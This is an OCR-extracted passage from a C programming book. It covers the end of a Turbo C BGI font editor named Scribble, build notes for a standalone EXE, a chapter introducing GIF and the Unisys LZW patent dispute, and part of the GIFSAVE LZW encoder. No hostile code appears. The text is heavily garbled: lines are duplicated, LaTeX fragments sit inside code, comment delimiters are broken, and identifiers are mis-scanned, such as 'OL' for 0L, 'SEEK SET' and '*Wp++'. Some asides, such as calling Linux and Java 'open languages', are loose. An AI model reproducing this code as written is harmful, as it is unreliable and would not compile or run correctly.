CmdButton( YESBUTTON, NORMAL );
MyOuttextxy( 289, 277, "No", BLACK );
MyOuttextxy( 343, 277, "Yes", BLACK );
x -= len * textwidth( cursor );

```

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```

            ShowMousePtr( );
            do
                        {
            cmdno = 0;
            GetMousePos( &mbutton, &mx, &my );
            if ( mbutton==LFTCLICK )
                        {
                        cmdno = CmdButtonVal( mx, my );
                            if ( cmdno==NOBUTTON || cmdno==YESBUTTON )
                                    {
                                    HideMousePtr( );
                                    CmdButton( cmdno, PRESS );
                                    ShowMousePtr( );
                                    prevcmdno = cmdno;
                                    do
                                    {
                                    GetMousePos( &mbutton, &mx, &my );
                                    cmdno = CmdButtonVal( mx, my );
                                    } while( mbutton==LFTCLICK&&cmdno==prevcmdno);
                                    HideMousePtr( );
                                    CmdButton( prevcmdno, NORMAL );
                                    ShowMousePtr( );
                                    }
                            }
                    } while( cmdno!=NOBUTTON && cmdno!=YESBUTTON );
                    stayin = ( cmdno==NOBUTTON );
                    HideMousePtr( );
            }
        else
            stayin = FALSE;
    }
    for ( i=0; i<len ; ++i )
        scriFh.fntName[i] = str[i];
    putimage( 190, 200, buffer, COPY_PUT );
    farfree( buffer );
    } /*--GetFontName( )--------*/

```
```

/*---------------------------------------------------

```
/*---------------------------------------------------
    FileSizeIndicator - Indicates the file
    FileSizeIndicator - Indicates the file
        size limitation of 32KB */
        size limitation of 32KB */
void FileSizeIndicator( void )
void FileSizeIndicator( void )
{
{
    int xmax = 269 + 0.007999 * (16 + 3*scriFh.noOfChars + ftell(
    int xmax = 269 + 0.007999 * (16 + 3*scriFh.noOfChars + ftell(
chInfoFp )) ;
chInfoFp )) ;
    if ( xmax > 420 )
```

    if ( xmax > 420 )
    ```
```

    setfillstyle( SOLID_FILL, RED );
    else
    setfillstyle( SOLID_FILL, GREEN );
    bar( 269, 313, xmax, 322 );
    } /*--FileSizeIndicator( ) --------*/
/*-----------------------------------------------------
Clear - Clears the drawing box */
void Clear( void )
{
setfillstyle( SOLID_FILL, WHITE );
bar( 149, 220, 209, 256 );
setcolor( GREEN );
line( 149, 247, 209, 247 );
} /*--Clear( ) --------*/
/*------------------------------------------------------
CmdButton - Draws Command Button for
specified status.
status are NORMAL, PRESS */
void CmdButton( int cmdno, int status )
{
if ( status==NORMAL )
MyRectangle( But_Stat[cmdno].x1, But_Stat[cmdno].y1,
But_Stat[cmdno].x2, But_Stat[cmdno].y2, WHITE, BLACK );
else
MyRectangle( But_Stat[cmdno].x1, But_Stat[cmdno].y1,
But_Stat[cmdno].x2, But_Stat[cmdno].y2, BLACK, WHITE );
} /*--CmdButton( )----------* /
/*------------------------------------------------------ */
int CmdButtonVal( int x, int y )
{
BOOLEAN found = FALSE;
int i;
for( i= 0; !found \&\& i < MAXCMDBUTTON ; ++i )
found = ( x > But_Stat[i].x1 \&\& x < But_Stat[i].x2
\&\& y > But_Stat[i].y1 \&\& y < But_Stat[i].y2);
if ( found )

```

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```

    --i;
    return( i );
    } /*--CmdButtonVal( )----------*/
BrushBox - Draws Brush Box for
specified status.
status are NORMAL, PRESS */
void BrushBox( int brushno, int status )
{
if ( status==NORMAL )
setcolor( DARKGRAY );
else
setcolor( WHITE );
rectangle( Brush_Stat[brushno].x1, Brush_Stat[brushno].y1,
Brush_Stat[brushno].x2, Brush_Stat[brushno].y2 );
} /*--BrushBox( )----------*/
/*------------------------------------------------------
int BrushVal( int x, int y )
{
BOOLEAN found = FALSE;
int i;
for( i= 0; !found \&\& i < MAXBRUSH ; ++i )
found = ( x > Brush_Stat[i].x1 \&\& x < Brush_Stat[i].x2
\&\& y > Brush_Stat[i].y1 \&\& y < Brush_Stat[i].y2);
if ( found )
--i;
return( i );
} /*--BrushVal( )----------*/
/*----------------------------------------------------
MsgWindow - Prompts with messages "Thank you!",
"Error!", "About...". */
void MsgWindow( char *fontname, int msgno )
{
int mx, my, mbutton, cmdno = 0, prevcmdno, xx;
unsigned int imgsize;
char *message[ ] = { " ", "Thank you!", "Error!", "About..." };
char title[15], tmpmsg[40];
void far *buffer;

```
```

strcpy( title, message[msgno] );
strcpy( tmpmsg, fontname );
strcat( tmpmsg, " font has been created!" );
HideMousePtr( );
imgsize = imagesize( 150, 155, 490, 370 );
if ((buffer = farmalloc(imgsize)) == NULL)
{
CloseScribbleFiles( );
closegraph( );
cprintf( "\r\nError: Not enough memory!\r\n\a" );
exit(1);
}
getimage( 150, 155, 490, 370, buffer );
GWindow( 150, 155, 490, 370, title );
setfillstyle( SOLID_FILL, RED );
bar( 160, 185, 195, 200 );
setfillstyle( SOLID_FILL, WHITE );
bar( 190, 200, 225, 215 );
setfillstyle( SOLID_FILL, GREEN );
bar( 220, 215, 255, 230 );
CmdButton( OKBUTTON, NORMAL );
MyOuttextxy( 308, 341, "OK", BLACK );
settextstyle( DEFAULT FONT, HORIZ_DIR, 3 );
MyOuttextxy( 230, 190, "Scribble", BLACK );
settextstyle( DEFAULT_FONT, HORIZ_DIR, 1 );
switch( msgno )
{
case FSIZEERR:
xx = X4CenteredMsg("Error:Cannot create more fonts!");
MyOuttextxy( xx, 281, "Error: Cannot create more fonts!", RED );
xx = X4CenteredMsg( "Reason: File size is limited" );
MyOuttextxy( xx, 294, "Reason: File size is limited", RED );
xx = X4CenteredMsg( "Suggestion: Try small fonts" );
MyOuttextxy( xx, 307, "Suggestion: Try small fonts", RED );
xx = X4CenteredMsg( "Quitting..." );
MyOuttextxy( xx, 320, "Quitting...", RED );
case THANKS:
xx = X4CenteredMsg( "Thanks for using Scribble!" );
MyOuttextxy( xx, 240, "Thanks for using Scribble!",
BLACK );
xx = X4CenteredMsg( "May God bless you!" );

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```
    MyOuttextxy( xx, 253, "May God bless you!", BLUE );
    xx = X4CenteredMsg( tmpmsg );
    MyOuttextxy( xx, 266, tmpmsg, BLACK );
    break;
    case ABOUT:
        xx = X4CenteredMsg( "Version 1.0" );
        MyOuttextxy( xx, 217, "Version 1.0", BLACK );
        xx = X4CenteredMsg( "by" );
        MyOuttextxy( xx, 235, "by", BLACK );
        xx = X4CenteredMsg( "R. Rajesh Jeba Anbiah" );
        MyOuttextxy(xx, 248, "R. Rajesh Jeba Anbiah", BLACK );
        xx = X4CenteredMsg( "Tamil Nadu, South India" );
        MyOuttextxy(xx,261,"Tamil Nadu, South India", BLACK );
        xx = X4CenteredMsg( "xxxxxxxxx@yahoo.com" );
        MyOuttextxy( xx, 274, "xxxxxxxxx@yahoo.com", BLUE );
        xx = X4CenteredMsg( "http://xxxxxxxxxxxxxxxxx.com" );
        MyOuttextxy( xx, 287, "http://xxxxxxxxxxxxxxx.com",
                                    BLUE );
MyOuttextxy( 160, 308,
        "Copyright c 2001, R. Rajesh Jeba Anbiah", BLACK );
setcolor( BLACK );
circle( 243, 312, 5 );
MyOuttextxy(160, 323, "All Rights Reserved.", BLACK );
    }
ShowMousePtr( );
do
    {
    GetMousePos( &mbutton, &mx, &my );
    if ( mbutton==LFTCLICK )
        {
            cmdno = CmdButtonVal( mx, my );
            if ( cmdno==OKBUTTON )
                {
                HideMousePtr( );
                CmdButton( cmdno, PRESS );
                ShowMousePtr( );
                prevcmdno = cmdno;
                do
                    {
                    GetMousePos( &mbutton, &mx, &my );
                    cmdno = CmdButtonVal( mx, my );
                            } while( mbutton==LFTCLICK && cmdno==prevcmdno );
                HideMousePtr( );
                CmdButton( prevcmdno, NORMAL );
                ShowMousePtr( );
                    }
    }
```

```
    } while( cmdno!= OKBUTTON );
    HideMousePtr( );
    putimage( 150, 155, buffer, COPY_PUT );
    farfree( buffer );
    ShowMousePtr( );
} /*--MsgWindow( )-----------*/
        X4CenteredMsg - Returns X coordinate value
                for the center justified message
                in MsgWindow.
    Logic:( 150, y ) msg}\mathrm{ (490, y )
        To have centered msg,
                        150 + ((490-150)-textwidth(msg))/2. */
int X4CenteredMsg( char *str )
{
    return( 150 + ( 340 - textwidth( str ) ) /2 );
} /*--X4CenteredMsg( )------*/
/*-----------------------------------------------------
    MakeFontProcedure1 - Creates the first font
        ie, ' ' ( space ) */
void MakeFontProcedure1( void )
{
    charoffset = ftell( chInfoFp );
    charwidth = 14;
    fInfo.x = 0;
    fInfo.y = charwidth;
    fInfo.op1 = CHARSCAN1;
    fInfo.op2 = CHARSCAN2;
    fwrite( &fInfo, sizeof( fInfo ), 1, chInfoFp );
    fInfo.op1 = EOFCHAR1;
    fInfo.op2 = EOFCHAR2;
    fwrite( &charoffset, sizeof( charoffset ), 1, chOffFp );
    fwrite( &charwidth, sizeof( charwidth ), 1, wthFp );
    fwrite( &fInfo, sizeof( fInfo ), 1, chInfoFp );
} /*--MakeFontProcedure1( )----------*/
/*-------------------------------------------------
    MakeFontProcedure2 - Creates the fonts
        and store the commands in a
```


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```
temporary file */
void MakeFontProcedure2( void )
{
    int xmin, xmax, ymin, ymax, x, y, xt;
    ++scriFh.noOfChars;
    /* Scans the drawing box...
        To find character's xmin, xmax, ymin, ymax.
        Steps: ( top to bottom )
            top : ------>
                        : ---> ----->
            ...
            ...
            bottom:
    * /
    xmin = 209; xmax = 149;
    ymin = 256; ymax = 221;
    for ( y = 221 ; y<=256 ; ++y )
        for ( x = 149 ; x<=209 ; ++x )
        {
            if ( getpixel( x, y ) == BLACK )
                        {
                        if ( x<xmin )
                        xmin = x;
                        if ( y<ymin )
                            ymin = y;
            if ( x>xmax )
                            xmax = x;
                        if ( y>ymax )
                            ymax = y;
            }
        }
    /* Drawing box empty?
        ( No character? )
        check...
    */
    if ( xmin==209 && xmax==149 ) /* if no character */
        charwidth = 0;
        else
            charwidth = xmax - xmin + 4;
    fwrite( &charwidth, sizeof( charwidth ), 1, wthFp );
    if ( charwidth==0 )
            charoffset = 0;
        else
            charoffset = ftell( chInfoFp );
    fwrite( &charoffset, sizeof( charoffset ), 1, chOffFp );
```

```
    /* Scans the character...
        To write character commands.
        Steps: ( top to bottom )
            top : ------>
                        : ---> ----->
            ...
            ...
            bottom: ---->
    * /
    for ( y = ymin ; y<=ymax ; ++y )
        for ( }\textrm{x}=\textrm{xmin};\textrm{x}<==xmax ; ++x 
            {
            if ( getpixel( x, y ) == BLACK )
            {
                    fInfo.x = 247 - y;
                            fInfo.y = x - xmin;
                            fInfo.op1 = CHARSCAN1;
                            fInfo.op2 = CHARSCAN2;
                            fwrite( &fInfo, sizeof( fInfo ), 1, chInfoFp );
                            for ( xt=x ; getpixel( xt, y ) == BLACK ; ++xt )
                                    ;
                            --xt;
                            x = xt;
                            fInfo.x = 247 - y;
                            fInfo.y = xt - xmin;
                            fInfo.op1 = DRAWCHAR1;
                            fInfo.op2 = DRAWCHAR2;
                            fwrite( &fInfo, sizeof( fInfo ), 1, chInfoFp );
                }
        }
    if ( charwidth!=0 )
        {
            fInfo.x = 0;
            fInfo.y = charwidth;
            fInfo.op1 = CHARSCAN1;
            fInfo.op2 = CHARSCAN2;
            fwrite( &fInfo, sizeof( fInfo ), 1, chInfoFp );
            fInfo.op1 = EOFCHAR1;
            fInfo.op2 = EOFCHAR2;
            fwrite( &fInfo, sizeof( fInfo ), 1, chInfoFp );
        }
} /*--MakeFontProcedure2( ) ----------* /
/*---------------------------------------------------
    MakeFontProcedure3 - Creates the final font
                    file with the headers & using the
                    stored commands from temporary file. */
```


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```
void MakeFontProcedure3( void )
{
    scriFh.fntSize = 16 + 3 * scriFh.noOfChars + ftell( chInfoFp );
    scriFh.defOffset = 16 + 3 * scrifh.noOfChars;
    fseek( chOffFp, OL, SEEK SET );
    fseek( wthFp, OL, SEEK_SET );
    fseek( chInfoFp, OL, SEEK SET );
    fwrite( &scriFh, sizeof( FILEHEADER ), 1, scriFp );
    while ( fread( &charoffset, sizeof( charoffset ), 1, chOffFp ) == 1 )
        fwrite( &charoffset, sizeof( charoffset ), 1, scriFp );
    while ( fread( &charwidth, sizeof( charwidth ), 1, wthFp ) == 1 )
        fwrite( &charwidth, sizeof( charwidth ), 1, scriFp );
    while ( fread( &fInfo, sizeof( fInfo ), 1, chInfoFp ) == 1)
        fwrite( &fInfo, sizeof( fInfo ), 1, scriFp );
    CloseScribbleFiles( );
} /*--MakeFontProcedure3( ) ----------*/
        CloseScribbleFiles - Closes all Scribble
            files and then deletes the
            temporary files. */
void CloseScribbleFiles( void )
{
    fcloseall( );
    remove( "~$scrib1.raj" );
    remove( "~$scrib2.raj" );
    remove( "~$scrib3.raj" );
} /*--CloseScribbleFiles( ) -----------*/
```

```
/*-----------------------------------------------------
```

/*-----------------------------------------------------
main - Main of Scribble */
main - Main of Scribble */
int main( void )
{
int mx, my, premx, premy,
mbutton, cmdno, prevcmdno, bno, prevbno = 0, msgno = THANKS;
long fontsize;
char ch[2] = "!", fontname[10];
BOOLEAN stayin = TRUE;
ScribbleInfo( );

```
```

InitScribble( );
SetScreen( );
GetFontName( fontname );
strcat( fontname, ".CHR" );
if ( ( scriFp = fopen( fontname, "wb+" ) ) == NULL )
{
CloseScribbleFiles( );
closegraph( );
cprintf( "Fatal Error(04): File cannot be created \r\n\a" );
exit( 1 );
}
MakeFontProcedure1( );
FileSizeIndicator( );
ShowMousePtr( );
while( stayin )
{
GetMousePos( \&mbutton, \&mx, \&my );
if ( mbutton==LFTCLICK )
{
if ( mx>=149 \&\& mx<=209 \&\& my>=223 \&\& my<=256 ) /* drawing
box */
{
if ( prevbno>4 )
setcolor( WHITE );
else
setcolor( BLACK );
RestrictMousePtr( 150+(prevbno%5)/2,
221+(prevbno%5)/2, 208-(prevbno%5)/2,
255-((prevbno+1)%5)/2 );
premx = mx;
premy = my;
HideMousePtr( );
PutPoint( mx, my, prevbno%5 );
ShowMousePtr( );
do
{
GetMousePos( \&mbutton, \&mx, \&my );
if ( premx!=mx || premy!=my )
HideMousePtr( );
ScribbleLine(premx,premy,mx, my, prevbno%5 );
ShowMousePtr( );

```
```

                        premx = mx;
                    premy = my;
                                }
                    } while(mbutton==LFTCLICK);
        RestrictMousePtr( 0, 0, 639, 479 );
    }
    bno = BrushVal( mx, my );
if ( bno!=MAXBRUSH \&\& bno != prevbno )
{
HideMousePtr( );
BrushBox( prevbno, NORMAL );
BrushBox( bno, PRESS );
prevbno = bno;
ShowMousePtr( );
}
cmdno = CmdButtonVal( mx, my );
if ( cmdno!=MAXCMDBUTTON \&\& cmdno!= OKBUTTON
\&\& cmdno!=NOBUTTON \&\& cmdno!=YESBUTTON )
{
HideMousePtr( );
CmdButton( cmdno, PRESS );
ShowMousePtr( ) ;
prevcmdno = cmdno;
do
{
GetMousePos( \&mbutton, \&mx, \&my );
cmdno = CmdButtonVal( mx, my );
} while( mbutton==LFTCLICK \&\& cmdno==prevcmdno );
HideMousePtr( ) ;
CmdButton( prevcmdno, NORMAL );
ShowMousePtr( );
stayin = ( cmdno!=QUIT );
}
switch( cmdno )
{
case CLEAR:
Clear( );
break;
case NEXT:
HideMousePtr( );
MakeFontProcedure2( );
FileSizeIndicator( );
Clear( );
++ch[0];
fontsize = 16 + 3*scriFh.noOfChars +
ftell( chInfoFp );
if ( fontsize >= 30000 )

```
    {
    msgno = FSIZEERR;
    stayin = FALSE;
        }
    else if ( ch[0]==0 )
        stayin = FALSE;
        if ( ch[0]!=0 && fontsize<30000 )
    {
        settextstyle(DEFAULT FONT, HORIZ_DIR, 4 );
        MyOuttextxy( 150, 225, ch, BLACK );
        settextstyle(DEFAULT_FONT, HORIZ_DIR, 1 );
    }
    ShowMousePtr( );
    break;
case QUIT:
    HideMousePtr( );
    MakeFontProcedure2( ) ;
    ShowMousePtr( );
    break;
        case ABOUT:
                            MsgWindow( fontname, ABOUT );
    }
}
        }
    MakeFontProcedure3( );
    MsgWindow( fontname, msgno );
    closegraph( );
    return( 0 );
/*--main( ) ---------*/
```


### 30.7 Scribble.prj

We use project (.PRJ) file to create standalone program. By the term standalone, we mean the EXE file that doesn't require any other (supporting) files for its execution.

Normally in BGI programming, we would supply the driver (BGI) files' directory with initgraph ( ) function. If the corresponding BGI file is not found on that directory you would get error message. We get this error message because, the driver files are not added with our program. But if you have added the corresponding object (OBJ) file of the driver, to graphics.lib library, you won't get such error. You can use BGIOBJ utility to create object file for the driver (BGI \& CHR) files.

```
C:\>BGIOBJ /F egavga
```

the /F switch is to get "far" object code.
Then you will get Egavgaf.obj. Similarly you can create object file for any CHR or BGI files. You can add the object file to graphics.lib using TLIB as:

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C: \> TLIB graphics + obj1 [+obj2...]
Adding object file to graphics.lib is not advisable as it would increase the compilation time. So the easy way is to add object file is through project file. For my Scribble project, I haven't used any CHR files, so I need to create object file only for EGAVGA. BGI driver. I have used the registerfarbgidriver ( ) function to register the BGI driver so that it is being also added with our standalone EXE file.

Note
If you use other CHR files, just create object files for all the CHR files using BGIOBJ utility, then register them using registerfarbgifont( ) function.

Add the following files in Scribble.prj:
i. Mouselib.lib
ii. Egavgaf.obj
iii. Scribble.c

Compile the Scribble.prj to get standalone Scribble.exe file.

## 31 "Love is patient and kind." <br> Creating GI F files

GIF stands for Graphics Interchange Format. GIF is a good file format introduced by CompuServe Incorporated. GIF files can be classified into (i) Ordinary GIF files (ii) Animated GIF files. GIF files are widely used in Internet. GIF took its popularity by the capacity to get animated and by using the very efficient "one-pass" LZW compression algorithm.

### 31.1 Important Notice

The Graphics Interchange Format © is the Copyright property of CompuServe Incorporated. GIF TM is a Service Mark property of CompuServe Incorporated.

Once Unisys was a well-known computer company. Unisys was awarded the patent in 1985 for the very famous compression algorithm namely Unisys Lempel Zev Welch (LZW). As I said earlier, GIF uses the LZW compression algorithm. GIF became popular through the drastic development of internet. When Unisys learned that the LZW method was incorporated in the GIF specification, it immediately began negotiating with CompuServe in January of 1993. They reached an agreement with CompuServe on licensing the technology in June 1994, which calls for CompuServe to pay Unisys a royalty of $1 \%$ of the average selling price it charges for its software.

Unisys demands that the web sites that use GIF should pay them $\$ 5000$ or more to use GIF graphics if the software originally used to create the GIFs was not covered by an appropriate Unisys license. Thus freebased people or open-based people are highly against Unisys and GIF, because other, much better, methods of data compression are not covered by any patent. They say that the flaw is in US patent system which makes even pencil-and-paper calculations patentable. One may easily violate some US patents by solving a problem found on Mathematics book! Indians might aware of the patent of Basmati rice!!!

People who are against to such silly patent, merely substitute PNG files, MNG files and shock waves (Flash) for GIF in their web pages. Open-based people are the one

## Note

Good discussion about "GIF politics" can be found on www.BurnAllGifs.org for open languages. Open language never claims royalties, etc. C, C++, Java, Linux are open. On the other side you've got proprietary language that claims royalties etc and it is closed. $\mathrm{C} \#$ is one of proprietary languages. Microsoft often produces proprietary languages and so it has got so many opponents!

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### 31.2 GIFSAVE

GIFSAVE was developed by Sverre H. Huseby. It is a function to save the image in GIF format. Sverre H. Huseby says that GIFSAVE is little bit slow and the reason is Borland's getpixel( ) function and not the GIFSAVE functions.

GIFSAVE consists of four functions, all declared in GIFSAVE.H:

1. GIF_Create () creates new GIF-files. It takes parameters specifying the filename, screen size, number of colors, and color resolution.
2. GIF_SetColor() sets up the red, green and blue color components. It should be called once for each possible color.
3. GIF_CompressImage () performs the compression of the image. It accepts parameters describing the position and size of the image on screen, and a user defined callback function that is supposed to fetch the pixel values.
4. GIF_Close () terminates and closes the file.

The functions should be called in the listed order for each GIF-file. One file must be closed before a new one is created.

### 31.3 Gifsave.h

```
#ifndef GIFSAVE_H
#define GIFSAVE_H
enum GIF_Code {
    GIF_OK,
    GIF_ERRCREATE,
    GIF_ERRWRITE,
    GIF_OUTMEM
};
int GIF_Create(
                char *filename,
                int width, int height,
                int numcolors, int colorres
    );
void GIF_SetColor(
            int colornum,
            int red, int green, int blue
        );
int GIF_CompressImage(
    int left, int top,
    int width, int height,
```

```
        int (*getpixel)(int x, int y)
        );
int GIF_Close(void);
#endif
```


### 31.4 Gifsave.c

```
    * FILE: GIFSAVE.C
```

* 
* MODULE OF: GIFSAVE
* 
* DESCRIPTION: Routines to create a GIF-file.
*/
\#include <stdlib.h>
\#include <stdio.h>
\#include "gifsave.h"

*
P R I V A T E D A T A
*/

```
typedef unsigned Word;
                                    /* At least two bytes (16 bits) */
typedef unsigned char Byte; /* Exactly one byte (8 bits) */
```



```
    *
                                    I/O Routines
    *========================================================================
* /
```

static FILE *OutFile; /* File to write to */
$/ *====================================================================1$
* Routines to write a bit-file
$*=================================================================1$
*/
static Byte Buffer[256]; /* There must be one to much !!! */
static int Index, /* Current byte in buffer */
BitsLeft; /* Bits left to fill in current byte.
/* These are right-justified */

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```
/*============================================================================
    * Routines to maintain an LZW-string table
    *============================================================================
*/
#define RES_CODES 2
#define HASH_FREE 0xFFFF
#define NEXT_FIRST 0xFFFF
#define MAXBITS 12
#define MAXSTR (1 << MAXBITS)
#define HASHSIZE 9973
#define HASHSTEP 2039
#define HASH(index, lastbyte) (((lastbyte << 8) ^ index) % HASHSIZE)
static Byte *StrChr = NULL;
static Word *StrNxt = NULL,
    *StrHsh = NULL,
    NumStrings;
```



```
    * Main routines
```



```
*/
typedef struct {
    Word LocalScreenWidth,
        LocalScreenHeight;
        Byte GlobalColorTableSize : 3,
            SortFlag : 1,
            ColorResolution : 3,
            GlobalColorTableFlag : 1;
        Byte BackgroundColorIndex;
        Byte PixelAspectRatio;
} ScreenDescriptor;
typedef struct {
    Byte Separator;
    Word LeftPosition,
        TopPosition;
        Word Width,
            Height;
        Byte LocalColorTableSize : 3,
        Reserved : 2,
```

```
            SortFlag : 1,
            InterlaceFlag : 1,
            LocalColorTableFlag : 1;
} ImageDescriptor;
static int BitsPrPrimColor, /* Bits pr primary color */
    NumColors; /* Number of colors in color table */
static Byte *ColorTable = NULL;
static Word ScreenHeight,
                    ScreenWidth,
                    ImageHeight,
                    ImageWidth,
                    ImageLeft,
                ImageTop,
                RelPixX, RelPixY; /* Used by InputByte() -function
*/
static int (*GetPixel)(int x, int y);
/************************************************************************
    * P R I V A T E F U N C T I O N S
*/
/*======================================================================
    * Routines to do file IO
    *=======================================================================
*/
/*---------------------------------------------------------------------------
```

* NAME :
* 
* DESCRIPTION:
* 
* 
* 
* 
* PARAMETERS: filename - Name of file to create
* 
* RETURNS: GIF_OK - OK
* GIF_ERRWRITE - Error opening the file

```
    * /
static int Create(char *filename)
{
    if ((OutFile = fopen(filename, "wb")) == NULL)
        return GIF_ERRCREATE;
```


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```
    return GIF_OK;
}
```

```
/*--------------------------
```

/*--------------------------
*
*
* DESCRIPTION: Output bytes to the current OutFile.
* DESCRIPTION: Output bytes to the current OutFile.
*
*

* PARAMETERS: buf - Pointer to buffer to write
* PARAMETERS: buf - Pointer to buffer to write
* len - Number of bytes to write
* len - Number of bytes to write
* 
* 
* RETURNS: GIF_OK - OK
* RETURNS: GIF_OK - OK
* GIF_ERRWRITE - Error writing to the file
* GIF_ERRWRITE - Error writing to the file
*/
*/
static int Write(void *buf, unsigned len)
{
if (fwrite(buf, sizeof(Byte), len, OutFile) < len)
return GIF_ERRWRITE;
return GIF_OK;
}
/*-------------------------------------------------------------------------------
    * NAME: WriteByte()
    * 
    * DESCRIPTION: Output one byte to the current OutFile.
* 
* PARAMETERS: b - Byte to write
* RETURNS: GIF_OK - OK
* GIF_ERRWRITE - Error writing to the file
*/
static int WriteByte(Byte b)
{
if (putc(b, OutFile) == EOF)
return GIF_ERRWRITE;
return GIF_OK;
}
/*------------------------------------------------------------------------------
    * NAME: WriteWord()
    * 
    * DESCRIPTION: Output one word (2 bytes with byte-swapping, like on
    * 

the IBM PC) to the current OutFile.

```
```

* 
* PARAMETERS: w - Word to write
* 
* RETURNS: GIF_OK - OK
* GIF_ERRWRITE - Error writing to the file
*/
static int WriteWord(Word w)
{
if (putc(w \& OxFF, OutFile) == EOF)
return GIF_ERRWRITE;
if (putc((w >> 8), OutFile) == EOF)
return GIF_ERRWRITE;
return GIF_OK;
}
/*----------------------------------------------------------------------------
    * NAME: Close()
    * 
    * DESCRIPTION: Close current OutFile.
    * 
    * PARAMETERS: None
    * PARAMETERS : N
    * RETURNS: Nothing
*/
static void Close(void)
{
fclose(OutFile);
}
/*========================================================================
    * Routines to write a bit-file
    * =======================================================================
*/
/*-----------------------------------------------------------------------------
    * NAME: InitBitFile()
    * 
    * DESCRIPTION: Initiate for using a bitfile. All output is sent to
    * the current OutFile using the I/O-routines above.
    * 
    * PARAMETERS: None
    * RETURNS: Nothing
*/

```

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```

static void InitBitFile(void)
{
Buffer[Index = 0] = 0;
BitsLeft = 8;
}
/*----------------------------------------------------------------------------
* NAME: ResetOutBitFile()
*
* DESCRIPTION: Tidy up after using a bitfile
*
* PARAMETERS: None
*
* RETURNS: 0 - OK, -1 - error
*/
static int ResetOutBitFile(void)
{
Byte numbytes;
/*
* Find out how much is in the buffer
*/
numbytes = Index + (BitsLeft == 8 ? 0 : 1);
/*
* Write whatever is in the buffer to the file
*/
if (numbytes) {
if (WriteByte(numbytes) != GIF_OK)
return -1;
if (Write(Buffer, numbytes) != GIF_OK)
return -1;
Buffer[Index = 0] = 0;
BitsLeft = 8;
}
return 0;
}
/*-----------------------------------------------------------------------------
* NAME: WriteBits()
*
* DESCRIPTION: Put the given number of bits to the outfile.
*
* PARAMETERS: bits - bits to write from (right justified)
* numbits - number of bits to write

```
*
* RETURNS: bits written, or -1 on error.
*/
static int WriteBits(int bits, int numbits)
{
    int bitswritten = 0;
    Byte numbytes = 255;
    do {
        /*
            * If the buffer is full, write it.
            */
            if ((Index == 254 && !BitsLeft) || Index > 254) {
                if (WriteByte(numbytes) != GIF_OK)
                    return -1;
                if (Write(Buffer, numbytes) != GIF_OK)
                    return -1;
                Buffer[Index = 0] = 0;
                BitsLeft = 8;
            }
            /*
            * Now take care of the two specialcases
            */
            if (numbits <= BitsLeft) {
                Buffer[Index] |= (bits & ((1 << numbits) - 1)) << (8 -
BitsLeft);
            bitswritten += numbits;
            BitsLeft -= numbits;
            numbits = 0;
            } else {
                Buffer[Index] |= (bits & ((1 << BitsLeft) - 1)) << (8 -
BitsLeft);
            bitswritten += BitsLeft;
                bits >>= BitsLeft;
                numbits -= BitsLeft;
            Buffer[++Index] = 0;
                BitsLeft = 8;
            }
    } while (numbits);
    return bitswritten;
}
```


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```
/*==========================================================================
    * Routines to maintain an LZW-string table
    *===========================================================================
*/
/*-----------------------------------------------------------------------------
    * NAME: FreeStrtab()
    *
    * DESCRIPTION: Free arrays used in string table routines
    *
    * PARAMETERS: None
    *
    * RETURNS: Nothing
    */
static void FreeStrtab(void)
{
    if (StrHsh) {
        free(StrHsh);
        StrHsh = NULL;
    }
    if (StrNxt) {
        free(StrNxt);
        StrNxt = NULL;
    }
    if (StrChr) {
        free(StrChr);
        StrChr = NULL;
    }
}
/*------------------------------------------------------------------------------
    * NAME: AllocStrtab()
    * AllocStrtab()
    * DESCRIPTION: Allocate arrays used in string table routines
    *
    * PARAMETERS: None
    *
    * RETURNS: GIF_OK - OK
    * GIF_OUTMEM - Out of memory
    */
static int AllocStrtab(void)
{
    /* Just in case . . . */
```

```
    FreeStrtab();
    if ((StrChr = (Byte *) malloc(MAXSTR * sizeof(Byte))) == 0) {
        FreeStrtab();
        return GIF_OUTMEM;
    }
    if ((StrNxt = (Word *) malloc(MAXSTR * sizeof(Word))) == 0) {
        FreeStrtab();
        return GIF_OUTMEM;
    }
    if ((StrHsh = (Word *) malloc(HASHSIZE * sizeof(Word))) == 0) {
        FreeStrtab();
        return GIF_OUTMEM;
    }
    return GIF_OK;
}
/*------------------------------------------------------------------------------
    * NAME: AddCharString()
    *
* DESCRIPTION: Add a string consisting of the string of index plus
* the byte b.
*
* If a string of length 1 is wanted, the index should
* be 0xFFFF.
*
* PARAMETERS: index - Index to first part of string, or 0xFFFF is
* only 1 byte is wanted
* b - Last byte in new string
*
* RETURNS: Index to new string, or 0xFFFF if no more room
*
*/
static Word AddCharString(Word index, Byte b)
{
    Word hshidx;
    /*
        * Check if there is more room
        */
    if (NumStrings >= MAXSTR)
        return 0xFFFF;
```


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```
    /*
        * Search the string table until a free position is found
        */
    hshidx = HASH(index, b);
    while (StrHsh[hshidx] != 0xFFFF)
        hshidx = (hshidx + HASHSTEP) % HASHSIZE;
    /*
    * Insert new string
    */
    StrHsh[hshidx] = NumStrings;
    StrChr[NumStrings] = b;
    StrNxt[NumStrings] = (index != 0xFFFF) ? index : NEXT_FIRST;
    return NumStrings++;
}
/*-------------------------------------------------------------------------------
    NAME: FindCharString()
    *
    * DESCRIPTION: Find index of string consisting of the string of
*
*
*
*
*
* PARAMETERS: index - Index to first part of string, or 0xFFFF is
    * only 1 byte is wanted
*
*
    * RETURNS: Index to string, or 0xFFFF if not found
*/
static Word FindCharString(Word index, Byte b)
{
    Word hshidx, nxtidx;
    /*
    * Check if index is 0xFFFF. In that case we need only
    * return b, since all one-character strings has their
    * bytevalue as their index
    */
    if (index == 0xFFFF)
        return b;
    /*
    * Search the string table until the string is found, or
```

        * we find HASH_FREE. In that case the string does not
    * exist.
    */
    hshidx = HASH(index, b);
    while ((nxtidx = StrHsh[hshidx]) != 0xFFFF) {
        if (StrNxt[nxtidx] == index && StrChr[nxtidx] == b)
            return nxtidx;
        hshidx = (hshidx + HASHSTEP) % HASHSIZE;
    }
    /*
        * No match is found
    */
    return 0xFFFF;
    }
/*-----------------------------------------------------------------------------
* NAME: ClearStrtab()
*
* DESCRIPTION: Mark the entire table as free, enter the 2**codesize
* one-byte strings, and reserve the RES_CODES reserved
* codes.
*
* PARAMETERS: codesize - Number of bits to encode one pixel
*

* RETURNS: Nothing
*/
static void ClearStrtab(int codesize)
{
int q, w;
Word *wp;
/*
    * No strings currently in the table
*/
NumStrings = 0;
/*
    * Mark entire hashtable as free
*/
wp = StrHsh;
for (q = 0; q < HASHSIZE; q++)
*Wp++ = HASH_FREE;
/*
    * Insert 2**codesize one-character strings, and reserved codes
*/

```

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```

    w = (1 << codesize) + RES_CODES;
    for (q = 0; q < w; q++)
        AddCharString(0xFFFF, q);
    }
